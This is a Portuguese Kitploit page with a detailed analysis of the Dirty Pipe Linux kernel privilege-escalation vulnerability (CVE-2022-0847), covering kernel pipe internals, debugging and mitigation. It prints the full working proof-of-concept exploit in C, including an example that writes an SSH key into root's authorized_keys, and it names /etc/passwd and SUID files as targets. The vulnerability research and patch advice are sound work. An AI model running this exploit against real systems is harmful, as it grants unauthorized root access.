Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-0847 — Exploit de prova de conceito e análise detalhada da vulnerabilidade de escalonamento de privilégios no kernel Linux CVE-2022-0847 (Dirty Pipe), incluindo ambiente Docker para teste e depuração. | Kitploit
Ferramentas/GitHubGitHub/chenaotian/cve-2022-0847
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

Exploit de prova de conceito e análise detalhada da vulnerabilidade de escalonamento de privilégios no kernel Linux CVE-2022-0847 (Dirty Pipe), incluindo ambiente Docker para teste e depuração.

Ver Repositório
25754há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise da escalada de privilégios no kernel Linux CVE-2022-0847 Dirty Pipe

[toc]

Este artigo foi publicado originalmente na conta pública de segurança da Huawei; esta é a versão do blog (mais completa).

Link da publicação original: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Introdução à vulnerabilidade

Identificador da vulnerabilidade: CVE-2022-0847 (também conhecida como: Dirty Pipe)

Produto vulnerável: kernel Linux - syscall splice

Versões afetadas: Linux 5.8 (introduzida pelo patch f6dd975583bd) com correção em 5.16.11, 5.15.25, 5.10.102

Impacto: permite gravar até uma página de conteúdo em qualquer arquivo legível (o que é suficiente) e possibilita escalada local de privilégios.

Configuração do ambiente

Docker para análise da vulnerabilidade: chenaotian/cve-2022-0847 (se ainda não conseguir acessar, é porque ainda não terminei de enviar).

Fornece:

  • Kernel 5.13 vulnerável compilado e configurável para depuração
  • qemu, gdb e código-fonte do kernel linux 5.13
  • exp

Inicialização:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Depuração:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Princípio da vulnerabilidade

O princípio resumido da vulnerabilidade é que a chamada da função splice pode enviar arquivos para o pipe na forma de "cópia zero". No nível do código, a cópia zero consiste em usar diretamente a página de cache do arquivo (page cache) como página buf do pipe. Porém, isso introduz uma vulnerabilidade de variável não inicializada, fazendo com que a página de cache do arquivo seja tratada, posteriormente, no canal do pipe, como uma página comum de cache do pipe e seja "continuada a escrita", sendo assim adulterada. No entanto, nesse caso, o kernel não considera essa página de cache como uma "página suja" (dirty page), e ela não será gravada no disco por um curto período (até a próxima reinicialização, por exemplo). Durante esse período, todos os acessos ao arquivo usarão a página de cache adulterada, alcançando assim uma operação de "escrita arbitrária por um curto período em qualquer arquivo legível". Isso possibilita a escalada local de privilégios.

Ponto de ocorrência da vulnerabilidade

De acordo com o patch, o ponto de ocorrência da vulnerabilidade está na função copy_page_to_iter_pipe, onde foi adicionada a inicialização de buf->flags; portanto, trata-se de uma vulnerabilidade de variável não inicializada.

image-20220308170149137

O ponto de chamada de copy_page_to_iter_pipe ocorre na chamada de sistema splice. A função splice (chamada de sistema) entrega o conteúdo do arquivo ao pipe por meio de um método de "cópia zero". Isso tem melhor desempenho do que o método tradicional de enviar o conteúdo do arquivo diretamente para o pipe. Os detalhes são apresentados a seguir.

Princípio do pipe e pipe_write

Primeiramente, como o apelido da vulnerabilidade é "Dirty Pipe", vamos entender o pipe. O pipe é um canal de comunicação fornecido pelo kernel, criado pelas funções pipe/pipe2, retornando dois descritores de arquivo: um para enviar dados e outro para recebê-los, como as duas extremidades de um cano. Não vou falar muito sobre o uso específico.

Falando brevemente sobre a implementação no kernel: normalmente o espaço total do buffer do pipe é de 65536 bytes, gerenciado na forma de páginas, totalizando 16 páginas (4096 bytes por página). As páginas não são contíguas; elas são gerenciadas por um array, formando uma lista circular. São mantidos dois ponteiros da lista: um para escrita (pipe->head) e um para leitura (pipe->tail). Aqui vamos analisar principalmente a função pipe_write:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Se o pipe atual não estiver vazio (o estado vazio é determinado por head==tail), significa que há dados não lidos no pipe; então obtém-se o ponteiro head, que aponta para a página mais recente usada para escrita, e verifica-se len e offset dessa página (para encontrar o final dos dados). Em seguida, tenta-se continuar escrevendo na página atual.
  2. Verifica se a página atual possui a flag PIPE_BUF_FLAG_CAN_MERGE; se ela não existir, não é permitido continuar escrevendo na página atual. Ou se os dados atuais, ao serem concatenados aos dados anteriores, ultrapassarem uma página (ou seja, a escrita cruza a fronteira da página), também não é possível continuar.
  3. Se não for possível continuar na página anterior, inicia-se uma nova página.
  4. alloc_page aloca uma nova página.
  5. Coloca a nova página no início do array (pode substituir a página original) e inicializa os valores.
  6. buf->flag é inicializado por padrão como PIPE_BUF_FLAG_CAN_MERGE, pois o estado padrão permite que a página continue sendo escrita.
  7. Copia os dados a serem escritos; se não forem copiados completamente, repete as operações acima.

O ponto-chave da exploração é a flag PIPE_BUF_FLAG_CAN_MERGE não inicializada no splice, que determina se podemos continuar escrevendo em uma página "não totalmente escrita" do pipe.

De splice a copy_page_to_iter_pipe

Como mencionado acima, o pipe utiliza 16 páginas gerenciadas como buffer. O método de cópia zero do splice consiste em substituir diretamente as páginas de buffer do pipe pelas páginas de cache do arquivo (alterando o ponteiro da página de buffer do pipe para apontar para a página de cache do arquivo).

image-20220309124515813

A pilha de chamadas da chamada de sistema splice até a função vulnerável copy_page_to_iter_pipe é profunda; não vou analisar em detalhes. A pilha de chamadas é a seguinte:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read (in->f_op->splice_read, por padrão, é generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

A função onde está a vulnerabilidade, copy_page_to_iter_pipe, tem como principal trabalho fazer a estrutura da página de buffer do pipe apontar para a página de cache do arquivo a ser transmitido:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
	get_page(page);
	buf->page = page;//[2]页指针指向了文件缓存页
	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. Primeiro, com base na estrutura circular do array de páginas do pipe, encontra-se a posição atual do ponteiro de escrita (pipe->head).
  2. Em seguida, faz a página a ser escrita apontar para a página de cache do arquivo preparada e define outras informações, como len, que é determinado pelos parâmetros passados à chamada de sistema splice. Aqui, apenas o flag não é inicializado, causando a vulnerabilidade.

Normalmente, depois de inicializado, pipe->bufs fica assim:

image-20220308165052936

Nesse momento, de acordo com o código de pipe_write analisado acima, se pipe_write for chamado novamente para escrever dados no pipe, o ponteiro de escrita (pipe->head) aponta para a página da figura acima e o flag é PIPE_BUF_FLAG_CAN_MERGE; o kernel considerará que é possível continuar escrevendo nessa página, desde que o comprimento da escrita não ultrapasse a página:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Mecanismo de page cache do kernel Linux

O Linux coloca os arquivos abertos em páginas de cache; depois de usada, a página de cache também é mantida por um tempo para evitar operações de I/O desnecessárias. Acessar o mesmo arquivo em um curto período sempre opera a mesma página de cache do arquivo, em vez de abri-lo repetidamente. Como adulteramos essa página de cache do arquivo por esse método, qualquer acesso (leitura) ao arquivo nesse curto período lerá a página de cache adulterada, concluindo a exploração.

Exploração da vulnerabilidade

Como já foi descrito acima, o processo de exploração é muito simples; basta entender o princípio da vulnerabilidade para explorá-la. De acordo com o procedimento do autor, o processo é aproximadamente o seguinte:

  1. Criar um pipe.
  2. Encher o pipe completamente (via pipe_write), de modo que todos os buf (páginas de buffer do pipe) sejam inicializados, com flag inicializado por padrão como PIPE_BUF_FLAG_CAN_MERGE.
  3. Esvaziar o pipe (via pipe_read), para que, ao transferir o arquivo pela chamada de sistema splice, sejam usadas as estruturas buf originais já inicializadas.
  4. Chamar a função splice para transferir o arquivo que se deseja adulterar.
  5. Continuar escrevendo conteúdo no pipe (pipe_write); neste momento, o conteúdo sobrescreve a página de cache do arquivo, concluindo a adulteração temporária do arquivo.

Detalhes de depuração

Após a segunda etapa, com o pipe cheio e depois esvaziado, é possível ver que a estrutura bufs contém exatamente os dados que serão reutilizados pelo conteúdo não inicializado posteriormente:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

Depois que o arquivo é transferido via splice, o estado muda para o seguinte, em que flag não é inicializado. Aqui, len deve ser definido o menor possível, pois quanto menor, maior será o comprimento que poderemos escrever posteriormente na "continuação". Aqui é definido como 1, e o deslocamento como o endereço inicial que queremos adulterar; isso fará o ponteiro pipe->bufs->page apontar para o endereço inicial:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

Ao chamar pipe_write novamente, a condição de continuação é satisfeita e a escrita é feita diretamente na página:

image-20220308174556226

exp

Não fui eu que escrevi; é o da divulgação da vulnerabilidade:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Escalada de privilégios bem-sucedida:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Aqui foi demonstrado apenas o efeito de escrita arbitrária em arquivos. Para exploração real, é possível modificar /etc/passwd, chaves SSH ou alguns arquivos SUID para concluir a escalada de privilégios. Não vou fazer a operação prática aqui (de qualquer forma, não estou fazendo pentest).

Algumas pequenas limitações (sem importância)

  1. Não é possível alterar o tamanho do arquivo (não é possível torná-lo maior).
  2. O comprimento de uma única escrita não pode exceder uma página (4K).

Medidas de mitigação

Solução recomendada

Por ser uma vulnerabilidade do kernel, não há uma boa solução de tratamento no momento; recomenda-se atualizar o kernel para as versões corrigidas: 5.16.11, 5.15.25, 5.10.102 ou superiores.

Verificação da vulnerabilidade (ferramenta)

Com base no PoC divulgado por quem reportou a vulnerabilidade, escrevi uma ferramenta simples de verificação. Se a vulnerabilidade estiver presente, a saída será "There is CVE-2022-0847":

image-20220308202244668

Se a vulnerabilidade não estiver presente, a saída será "You are safe!".

Referências

Divulgação da vulnerabilidade: https://dirtypipe.cm4all.com/

Teoria da conspiração

A flag PIPE_BUF_FLAG_CAN_MERGE aparece apenas 5 vezes no total: uma vez na declaração #define, duas vezes em pipe_write. As duas restantes estão em splice:

image-20220308211006312

Além disso, a partir do código em que essa variável participa, dá para ver que o significado dela é justamente permitir ou não a continuação da escrita na página de buffer mais recente do pipe. Em geral, uma página alocada pelo próprio pipe é apenas uma página comum; continuar escrevendo nela é perfeitamente normal. Quando não se pode continuar? Quando essa página não foi alocada pelo próprio pipe, não se pode alterá-la arbitrariamente. Portanto, pelo que se vê atualmente, praticamente só no splice existem páginas que não foram alocadas pelo próprio pipe. Em outras palavras, a flag PIPE_BUF_FLAG_CAN_MERGE foi projetada exatamente para o splice. E então você me diz que ela não é inicializada?

Portanto, suspeito que essa vulnerabilidade não foi, de forma alguma, um descuido....

Baixar ferramenta